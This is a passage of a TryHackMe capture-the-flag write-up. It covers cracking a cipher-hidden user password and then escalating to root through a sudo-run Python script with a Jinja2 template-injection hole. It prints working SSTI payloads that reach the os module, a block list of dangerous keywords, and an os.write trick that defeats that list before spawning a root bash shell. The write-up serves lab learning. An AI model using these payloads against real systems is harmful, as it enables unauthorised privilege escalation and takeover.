A - Good Idea!, I will go with My fav game series "Ubisoft AC Series".
K - But Will u go with All its games or a single game?
A - Obviously single game, that game which was developed by Ubisoft xxxxxx Studio, It is situated in a CANADIAN CITY. The city's name is very interesting as It just pronounce like "cubic" and one more fact about the city is that this city is also one of the "Capital City of the Canadian province"
K - So much info, thanks, sir...
##########################################################################################
By The Way, I can tell u a hint regarding the password on the xxxx port. But You have to promise You won't tell to K.
Ok So here's the HINT:-
"The password on 'port 1820' is a Combination of My Fav Game's Character Name & Release Date of Game", like:- "jake1dec2021"
NOTE:- The password which I made is very easy so I encrypted it with "base64", so don't forget to encrypt your password with base64 first then submit.
Important Words from the message (From My opinion):-
AC ODYSSEY (The Game Name)
Ubisoft (Publisher of the Game)
Alexios (Favorite Character)
1 Oct 2018 (Release date of Game)
Quebec (City in which Game Developed)
Tryhackme
1820 (Port number)
Lets Try each one as 'KEY' on Vigenere Cipher Decoder :-

After Trying each keys, a list of passwords form :-
8#???????????6S [ACODYSSEY]
8#???????????6R [UBISOFT]
8#??????????Q6S [ALEXIOS]
No Result! [1OCT2018]
8#???????????6U [QUEBEC]
8#???????????6A [TRYHACKME]
No Result! [1820]
Again after trying few passwords from the above list, we got correct one :-
$ su alexios
Password: 8#???????????6?
alexios@f1r5tb0x:~$ whoami
alexios
alexios@f1r5tb0x:~$ id
uid=1001(alexios) gid=1001(alexios) groups=1001(alexios)
Now we have alexios shell , then one last thing remaining is to get root shell.
But before that lets get our 2nd flag :-
// finding flag
alexios@f1r5tb0x:~$ ls -l
total 40
drwx------ 4 alexios alexios 4096 Jan 1 16:08 .
drwxr-xr-x 5 root root 4096 Dec 30 15:37 ..
-r-xr-x--- 1 root alexios 49 Dec 30 20:48 3nc5yp73d_f1ag.md
lrwxrwxrwx 1 root root 9 Dec 30 20:46 .bash_history -> /dev/null
-rwx------ 1 alexios alexios 220 Dec 30 15:37 .bash_logout
-rwx------ 1 alexios alexios 3771 Dec 30 15:37 .bashrc
drwx------ 2 alexios alexios 4096 Dec 30 16:04 .cache
drwx------ 3 alexios alexios 4096 Dec 30 20:25 .gnupg
-rwx------ 1 alexios alexios 807 Dec 30 15:37 .profile
-r-xr--r-- 1 root root 55 Jan 1 16:08 restricted_words.txt
-rwx------ 1 alexios alexios 0 Dec 30 16:05 .sudo_as_admin_successful
-r-s--x--x 1 root root 1725 Jan 1 12:32 webapp_basic_template_generator.py
// reading flag
alexios@f1r5tb0x:~$ cat 3nc5yp73d_f1ag.md
thm{this_is_wrong_flag_find_it_on_your_own}
;-)
This flag is wrong flag and We have to find the real one.
// finding real flag, with the same find cmd which we used earlier with '-name' argument
alexios@f1r5tb0x:~$ find / -group alexios -name user.txt 2>/dev/null
/home/alexios/.gnupg/private-keys-v1.d/user.txt
// reading flag :-
alexios@f1r5tb0x:~$ cat /home/alexios/.gnupg/private-keys-v1.d/user.txt
thm{???}
Priv Escalation - 3 (last)
Lets focus now on getting root shell,
alexios@f1r5tb0x:~$ sudo -l
sudo -l
Password: 8#?????????6?
Matching Defaults entries for alexios on f1r5tb0x:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alexios may run the following commands on f1r5tb0x:
(root) /home/alexios/webapp_basic_template_generator.py
Oh! We can run a python file "webapp_basic_template_generator.py" as root.
Lets check what this file is about, by running it :-
alexios@f1r5tb0x:~$ sudo ./webapp_basic_template_generator.py
Enter Your Desired title - 123
Few lines about your webapp?123
** Generated Basic Template - with 'jinja2' **
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>123</title>
<meta name="description" content="123">
<meta name="author" content="MAAY">
<meta property="og:title" content="123">
<meta property="og:type" content="website">
<meta property="og:url" content="https://tryhackme.com/jr/f1r5tb0x">
<meta property="og:description" content="123">
<meta property="og:image" content="image.png">
<link rel="icon" href="/favicon.ico">
<link rel="icon" href="/favicon.svg" type="image/svg+xml">
<link rel="apple-touch-icon" href="/apple-touch-icon.png">
<link rel="stylesheet" href="css/styles.css?v=1.0">
</head>
<body>
<!-- your malicious content here ;-) -->
<script src="js/script.js"></script>
</body>
</html>
Hmm, by seeing the output of the file, We can notice few interesting things here :-
It's main goal is generating a HTML boiler plate.
It is reflecting our input in its output (important thing).
It is using a popular python module -> 'jinja2' (another important thing).
Now We have to search on google regarding "How we can exploit" that file by using all that info we got from that output.
Found an Interesting Stuff!

Three Useful links -> 1 , 2 , 3
I personally suggest you 3rd link for creating payloads regarding SSTI ( Server Side Template Injection ).
Short Summary about Jinja2 Template engine:-
"""
The jinja2
template engine allows you to generate documents (strings, web pages …) from templates. In the jinja2
engine, templates are created from the Template object of the module. Thanks to this type of object, we can create templates very easily, in the same way as format strings :-
>>> from jinja2 import Template
>>> msg = Template("My name is {{ name }}").render(name="MAAY")
>>> print(msg)
'My name is MAAY'
In the jinja2
engine, we can run system commands if we have access to the os
module from the jinja2
Template, and for that We have to find a way to access os
module as there are more than one option :-
{{ module }}
{{ self.__init__.__globals__.__builtins__.__import__('os') }}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os }}
{{ cycler.__init__.__globals__.os }}
{{ joiner.__init__.__globals__.os }}
{{ namespace.__init__.__globals__.os }}
# running few cmds from above :-
>>> import jinja2
>>> jinja2.Template("My name is {{ self._TemplateReference__context.cycler.__init__.__globals__.os }}").render()
"My name is <module 'os' from '/usr/lib/python3.8/os.py'>
>>> import jinja2
>>> jinja2.Template("My name is {{ cycler.__init__.__globals__.os }}").render()
"My name is <module 'os' from '/usr/lib/python3.8/os.py'>
>>> import jinja2
>>> jinja2.Template("My name is {{ self.__init__.__globals__.__builtins__.__import__('os') }}").render()
"My name is <module 'os' from '/usr/lib/python3.8/os.py'>
>>> import jinja2
>>> jinja2.Template("My name is {{ module }}").render()
"My name is <module 'os' from '/usr/lib/python3.8/os.py'>
"""
So Overall We have to inject an SSTI payload in that python file to get root shell,
First we have to verify that we can reach os module from that python file in order to run system cmds :-
# trying all of the 8 options , which I listed above :-
# 1)
alexios@f1r5tb0x:~$ sudo ./webapp_basic_template_generator.py
Enter Your Desired title - {{module}}
Few lines about your webapp?
** Generated Basic Template - with 'jinja2' **
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title></title>
<meta name="description" content="">
<meta name="author" content="MAAY">
<meta property="og:title" content="">
<meta property="og:type" content="website">
<meta property="og:url" content="https://tryhackme.com/jr/f1r5tb0x">
<meta property="og:description" content="">
<meta property="og:image" content="image.png">
<link rel="icon" href="/favicon.ico">
<link rel="icon" href="/favicon.svg" type="image/svg+xml">
<link rel="apple-touch-icon" href="/apple-touch-icon.png">
<link rel="stylesheet" href="css/styles.css?v=1.0">
</head>
<body>
<!-- your malicious content here ;-) -->
<script src="js/script.js"></script>
</body>
</html>
Not Worked !!
# 2)
Enter Your Desired title - {{self.__init__.__globals__.__builtins__.__import__('os')}}
Few lines about your webapp?
Word 'import', is not allowed!!!
# 3)
Enter Your Desired title - {{self._TemplateReference__context.cycler.__init__.__globals__.os}}
Few lines about your webapp?
Word 'self', is not allowed!!!
We can't try 4,5 option as 'self' word is not allowed.
# 6)
Enter Your Desired title - {{cycler.__init__.__globals__.os}}
Few lines about your webapp?
** Generated Basic Template - with 'jinja2' **
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title><module 'os' from '/usr/lib/python3.8/os.py'></title>
<meta name="description" content="">
<meta name="author" content="MAAY">
<meta property="og:title" content="<module 'os' from '/usr/lib/python3.8/os.py'>">
<meta property="og:type" content="website">
<meta property="og:url" content="https://tryhackme.com/jr/f1r5tb0x">
<meta property="og:description" content="">
<meta property="og:image" content="image.png">
<link rel="icon" href="/favicon.ico">
<link rel="icon" href="/favicon.svg" type="image/svg+xml">
<link rel="apple-touch-icon" href="/apple-touch-icon.png">
<link rel="stylesheet" href="css/styles.css?v=1.0">
</head>
<body>
<!-- your malicious content here ;-) -->
<script src="js/script.js"></script>
</body>
</html>
Worked!! (see line no. 17 in above code template)
( Try 7th & 8th point yourself and see If it works? )
After this, Try to find one more interesting file present in alexios's home dir.
alexios@f1r5tb0x:~$ ls -la restricted_words.txt
-r-xr--r-- 1 root root 55 Jan 1 16:08 restricted_words.txt
alexios@f1r5tb0x:~$ cat restricted_words.txt
system
import
self
popen
subprocess
builtins
eval
exec
root
listdir
remove
rmdir
rename
Hmm, few words in the file "restricted_words.txt" looks familiar with the output we received earlier from that python file :-
alexios@f1r5tb0x:~$ sudo ./webapp_basic_template_generator.py
Enter Your Desired title - self
Few lines about your webapp?
Word 'self', is not allowed!!!
alexios@f1r5tb0x:~$ sudo ./webapp_basic_template_generator.py
Enter Your Desired title - import
Few lines about your webapp?
Word 'import', is not allowed!!!
It look like that "webapp_basic_template_generator.py" file is reading "restricted_words.txt" and then checking words existence of these restricted words in our input. We can try some more words written in "restricted_words.txt" to check that we are thinking right :-
alexios@f1r5tb0x:~$ sudo ./webapp_basic_template_generator.py
Enter Your Desired title - system
Few lines about your webapp?
Word 'system', is not allowed!!!
alexios@f1r5tb0x:~$ sudo ./webapp_basic_template_generator.py
Enter Your Desired title - exec
Few lines about your webapp?
Word 'exec', is not allowed!!!
alexios@f1r5tb0x:~$ sudo ./webapp_basic_template_generator.py
Enter Your Desired title - eval
Few lines about your webapp?
Word 'eval', is not allowed!!!
It looks like we thought RIGHT. Now look at my next input carefully :-
alexios@f1r5tb0x:~$ sudo ./webapp_basic_template_generator.py
Enter Your Desired title - {{1+1}}
Few lines about your webapp?
** Generated Basic Template - with 'jinja2' **
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>2</title>
<meta name="description" content="">
<meta name="author" content="MAAY">
<meta property="og:title" content="2">
<meta property="og:type" content="website">
<meta property="og:url" content="https://tryhackme.com/jr/f1r5tb0x">
<meta property="og:description" content="">
<meta property="og:image" content="image.png">
<link rel="icon" href="/favicon.ico">
<link rel="icon" href="/favicon.svg" type="image/svg+xml">
<link rel="apple-touch-icon" href="/apple-touch-icon.png">
<link rel="stylesheet" href="css/styles.css?v=1.0">
</head>
<body>
<!-- your malicious content here ;-) -->
<script src="js/script.js"></script>
</body>
</html>
I simply put a simple equation in double curly brackets "{{}}" to check if it evaluate our code in those double curly brackets. and As we can see at "line no.16" (above), It really evaluated our code "1+1" to "2".
Lets try some python functions and see if that executes?
alexios@f1r5tb0x:~$ sudo ./webapp_basic_template_generator.py
Enter Your Desired title - {{print('HACKER')}}
Few lines about your webapp?
Error while rendering!! -> 'print' is undefined
Oh! we can't directly run even a simple print function. Now not wasting any more time and directly jumping to payload generation step as we already know how to reach os module from the jinja template.
and After seeing "restricted_words.txt" too, We came to know some words which are restricted in input of that python file. So lets see how we can get root bash shell from os module.
There is one more module other than 'os' module -> 'subprocess' through which we can run system cmds but we can't use it here because the word 'subprocess' is also restricted, take a look at "restricted_words.txt" again :-
alexios@f1r5tb0x:~$ cat restricted_words.txt
system
import
self
popen
subprocess
builtins
eval
exec
root
listdir
remove
rmdir
rename
# still trying 'subprocess' as input :-
alexios@f1r5tb0x:~$ sudo ./webapp_basic_template_generator.py
Enter Your Desired title - subprocess
Few lines about your webapp?
Word 'subprocess', is not allowed!!!
So we have to use "os" module here to run system commands. There are 2 ways to run system cmds from "os" module (for more info about more cmds, visit this stackoverflow link) :-
os.system
os.popen
But both words "system & popen" are restricted. So now what we do?
I have an idea that , it is true we can't run those os module functions (system & popen) but we can use other os module functions. and if somehow we manages to modify "restricted_words.txt" from those functions then we can easily run "os.system" or "os.popen".
Hmm, I found 3 os module functions regarding modifying a file :-
os.open()
os.read()
os.write()
The above os module functions are not in "restricted_words.txt" means we can use it, so lets try to make our payload with these functions in order to modify either "restricted_words.txt" or "webapp_basic_template_generator.py" .
I will encourage you to try to make the payload yourself with this help.
Bytheway while creating payload we have to keep in mind ,the max length of the input, as provided in the hint of the Q5 -> ' MAX LENGTH - 160 '.
alexios@f1r5tb0x:~$ python3 -c "print('A'*160)"
python3 -c "print('A'*160)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# trying 160 x 'A'
alexios@f1r5tb0x:~$ sudo ./webapp_basic_template_generator.py
Enter Your Desired title - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Few lines about your webapp?
** Generated Basic Template - with 'jinja2' **
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</title>
<meta name="description" content="">
<meta name="author" content="MAAY">
<meta property="og:title" content="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
<meta property="og:type" content="website">
<meta property="og:url" content="https://tryhackme.com/jr/f1r5tb0x">
<meta property="og:description" content="">
<meta property="og:image" content="image.png">
<link rel="icon" href="/favicon.ico">
<link rel="icon" href="/favicon.svg" type="image/svg+xml">
<link rel="apple-touch-icon" href="/apple-touch-icon.png">
<link rel="stylesheet" href="css/styles.css?v=1.0">
</head>
<body>
<!-- your malicious content here ;-) -->
<script src="js/script.js"></script>
</body>
</html>
# trying 160 x 'A' + 1 x 'B'
alexios@f1r5tb0x:~$ sudo ./webapp_basic_template_generator.py
Enter Your Desired title - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
Few lines about your webapp?
Too much data to handle!!!
You can see the `MAX LENGTH` provided, is not wrong.
Here is My 1st payload to modify the "restricted_words.txt" :-
{{cycler.__init__.__globals__.os.write(cycler.__init__.__globals__.os.open("restricted_words.txt",cycler.__init__.__globals__.os.O_RDWR),"x".encode())}}
It is made up of 4 parts :-
cycler.init.globals.os.write -> ' function for writing in a file. basic syntax - os.write(fd, "text-to-write"). '
cycler.init.globals.os.open -> ' function for opening a file. You can only read or write into a file after opening it. basic syntax - os.open("file-name", "mode-to-open-in"). '
cycler.init.globals.os.O_RDWR -> ' function for assigning a mode of read and write to a file. It is used in "os.open()" function as 2nd argument (told above). '
"x".encode() -> ' a string function to encode simple string object to bytes object. basic syntax - "any word".encode(). '
for more info about these functions, visit this.
NOTE :- " I had to add 'cycler.__init__.__globals__
' after each 'os
' word because we can't access 'os
' module without it here. "
What I am trying to do? - I am trying to modify the first word of 'restricted_words.txt' which is 'system' to 'xystem'. and then we are able to run os.system without any objection as the file will check for 'xystem' instead of 'system' now.
# trying My payload :-
alexios@f1r5tb0x:~$ sudo ./webapp_basic_template_generator.py
Enter Your Desired title - {{cycler.__init__.__globals__.os.write(cycler.__init__.__globals__.os.open("restricted_words.txt",cycler.__init__.__globals__.os.O_RDWR),"x".encode())}}
Few lines about your webapp?
** Generated Basic Template - with 'jinja2' **
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>1</title>
<meta name="description" content="">
<meta name="author" content="MAAY">
<meta property="og:title" content="1">
<meta property="og:type" content="website">
<meta property="og:url" content="https://tryhackme.com/jr/f1r5tb0x">
<meta property="og:description" content="">
<meta property="og:image" content="image.png">
<link rel="icon" href="/favicon.ico">
<link rel="icon" href="/favicon.svg" type="image/svg+xml">
<link rel="apple-touch-icon" href="/apple-touch-icon.png">
<link rel="stylesheet" href="css/styles.css?v=1.0">
</head>
<body>
<!-- your malicious content here ;-) -->
<script src="js/script.js"></script>
</body>
</html>
# checking 'restricted_words.txt' :-
alexios@f1r5tb0x:~$ cat restricted_words.txt
xystem
import
self
popen
subprocess
builtins
eval
exec
root
listdir
remove
rmdir
rename
Wow! My 1st payload worked. Now we can execute My 2nd payload to get root shell :-
{{cycler.__init__.__globals__.os.system('bash')}}
# executing 2nd payload :-
alexios@f1r5tb0x:~$ sudo ./webapp_basic_template_generator.py
Enter Your Desired title - {{cycler.__init__.__globals__.os.system('bash')}}
Few lines about your webapp?
root@f1r5tb0x:/home/alexios# id
uid=0(root) gid=0(root) groups=0(root)
Yay! we received root shell . Let get our final flag :-
root@f1r5tb0x:/home/alexios# cd ~
root@f1r5tb0x:~# cat root.txt
thm{???}
Congratulation!!!
I hope you enjoy this room.
Last Words
I hope u enjoyed the room, :-)
Last updated
Was this helpful?